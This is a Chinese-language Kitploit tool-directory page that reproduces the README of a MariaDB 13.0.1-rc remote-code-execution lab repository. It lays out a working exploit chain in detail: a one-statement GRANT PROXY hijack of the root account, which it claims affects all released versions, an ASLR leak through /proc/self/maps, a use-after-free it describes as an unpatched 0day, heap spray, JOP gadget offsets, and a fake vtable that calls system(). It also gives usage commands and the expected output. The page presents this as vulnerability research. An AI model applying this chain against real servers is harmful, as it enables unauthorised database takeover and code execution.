Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mariadb-13-rce-lab — MariaDB 13.0.1-rc RCE 实验环境 — 在官方 Docker 镜像上以 uid 999(mysql) 身份,通过提权 + 堆 UAF + JOP 链调用 system()。由 RAPTOR 和 raptor-loop-hunt 发现。 | Kitploit
工具/GitHubGitHub/dinosn/mariadb-13-rce-lab
权限提升漏洞分析漏洞利用渗透测试Payload 开发数据库安全二进制利用实验室与实践
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE 实验环境 — 在官方 Docker 镜像上以 uid 999(mysql) 身份,通过提权 + 堆 UAF + JOP 链调用 system()。由 RAPTOR 和 raptor-loop-hunt 发现。

查看仓库
33611个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MariaDB 13.0.1-rc RCE 实验室

在未经修改的原版 MariaDB 13.0.1-rc Docker 镜像上以 uid 999(mysql)身份执行远程代码。

两种漏洞利用变体:

变体文件要求备注
纯 SQL(推荐)exploit_pure_sql.py低权限 MariaDB 账户 + TCP无需宿主机访问、无需 docker、无需 /proc/mem、无需 root 密码
宿主机辅助 PoCexploit.pyDocker 宿主机上的 root通过 /proc/<pid>/mem 写入 JOP 链

已在以下镜像上测试并验证:mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 次运行,每次使用全新的 ASLR 基址)。

纯 SQL 攻击模型(exploit_pure_sql.py)

攻击者仅持有:

  • 一个仅具有 USAGE 权限的 MariaDB 账户(compose 中的 lowpriv 用户)及其密码,以及
  • 对 3306 端口的 TCP 可达性。

整个链条以 SQL 语句执行;无需宿主机侧进程访问、无需 docker 命令、无需已知地址。每个运行时地址都通过 SQL 从目标自身获取:

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

剩余的唯一非 SQL 操作是漏洞利用后的收尾工作:重启 (已崩溃的)容器并显示标记文件——它们不属于漏洞利用的一部分。

替换旧的宿主机侧辅助工具

用法(纯 SQL)

root@kitploit:~
# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

仅需要 mariadb/mysql 客户端和 Python 3。--container 用于 最终的标记显示(重启 + cat),如果通过其他方式验证标记, 则可以省略。

预期的输出末尾:

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

漏洞链(两种变体)

1. F-09 — 权限提升(任意用户 → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' 绕过所有 权限检查。空的认证子句使 LEX_USER::has_auth() 返回 false(跳过 check_alter_user()),而 replace_user_table() 仍会应用空密码——从而替换 root 的凭据。一条 SQL 语句,任意已认证用户,所有已发布的 MariaDB 版本。

2. 通过 /proc/self/maps 绕过 ASLR

LOAD DATA INFILE '/proc/self/maps' 从 SQL 内部读取 mariadbd 进程的完整内存 布局,揭示 PIE 基址和 libc 基址。在原版镜像上 secure_file_priv = NULL (未设置)时有效。

3. F-05 — SYS_REFCURSOR 释放后使用(0day,上游未修复)

sp_cursor_array::get_cursor_by_ref() 返回指向 Dynamic_array 的 内部指针,该数组的后备存储在增长时由 my_realloc 重新定位。当游标 的 open() 方法运行攻击者控制的 SQL 以打开更多游标时,数组增长,旧存储 被释放,调用者缓存的指针变为悬垂。

被释放的块(16 个游标 × 112 字节 = 1792 字节)被堆喷射回收——128 个用户变量 副本,每个 1784 字节(与 glibc 块精确匹配)。喷射载荷在偏移 0x20 处 (sp_cursor 的 result 成员)放置一个受控的 vtable 指针,该指针随后被用于 虚分派:

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. JOP 链 → system()

来自原版 mariadbd 二进制的两个 JOP gadget(无 ROP,无栈迁移):

Gadget偏移指令用途
D2PIE+0x80da77call *0x100(%rax)栈对齐修复
D1PIE+0xe3075bmov rdi,[rax+0xa8]; call [rax+0xa0]加载命令指针,调用 system()

伪造的 vtable V 位于 128 MiB 缓冲区中;布局:

root@kitploit:~
V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. 纯 SQL 地址发现技巧(新增)

在知道缓冲区地址之前写入自引用 JOP 数据,这个先有鸡还是先有蛋的问题 由 glibc 的 mmap 行为解决:

  1. 分配一个 128 MiB 标记缓冲区 → 专用 mmap 区域(0x8001000,数据位于区域 +0x30)→ 通过 /proc/self/maps 差异找到地址
  2. 重新分配缓冲区并写入完整布局(自引用 = V+0x140)→ glibc 取消映射旧块并重用同一槽位 → 地址稳定
  3. 每一步都通过重新读取 /proc/self/maps 验证;如果地址发生移动,则重新嵌入自引用并重试写入(实践中一次迭代即收敛)

宿主机辅助变体(exploit.py)

相同的链条,但 JOP 布局通过 /proc/<pid>/mem 从 Docker 宿主机(需要 root) 写入进程,载荷脚本通过 docker exec 创建,并使用 compose 文件中的 root 密码连接。作为历史 PoC 保留;纯 SQL 变体已取代它。

备注

  • 截至 2026-08-03,F-05 SYS_REFCURSOR UAF 在上游仍未修复(13.0.1 标签与 HEAD 之间对 sql/sp_cursor.{cc,h} 零提交)。
  • F-09 权限提升修复(dbd60d0ad8d,MDEV-40470)位于开发分支上,但未出现在任何已发布版本中(已验证 13.0.1 至 10.6.27)。
  • 选择 128 MiB 是因为 glibc 的动态 mmap 阈值在大量释放后可以增长到 4 MiB 以上;128 MiB 可靠地获得专用 mmap 区域(已验证 128 和 256 MiB;超过 max_allowed_packet 上限的大小会失败,因此先通过 SET GLOBAL max_allowed_packet 提高上限并使用新连接)。
  • 在此镜像/glibc 上,mmap 区域内的数据偏移为 +0x30(已在多次运行中验证;如有不同请更新 DATA_OFF)。

发现工具

  • RAPTOR — 自主攻防研究框架
  • raptor-loop-hunt — 迭代式漏洞搜寻插件
下载工具
旧辅助工具(exploit.py)纯 SQL 替代方案
docker inspect → PID + 宿主机侧 /proc/<pid>/mapsLOAD DATA INFILE '/proc/self/maps'
通过宿主机侧 /proc/<pid>/mem 写入 JOP 链布局在分配时通过 CONCAT/UNHEX 嵌入;地址来自 SQL 侧 maps 差异;mmap 槽位重用使自引用保持有效
docker exec ... echo CMD > /tmp/payload_cmd.sh命令字符串直接嵌入 JOP 布局
mariadb -uroot -plabpass(root 密码)从低权限账户通过 GRANT PROXY 提权
docker exec ... cat MARKER仅用于显示证明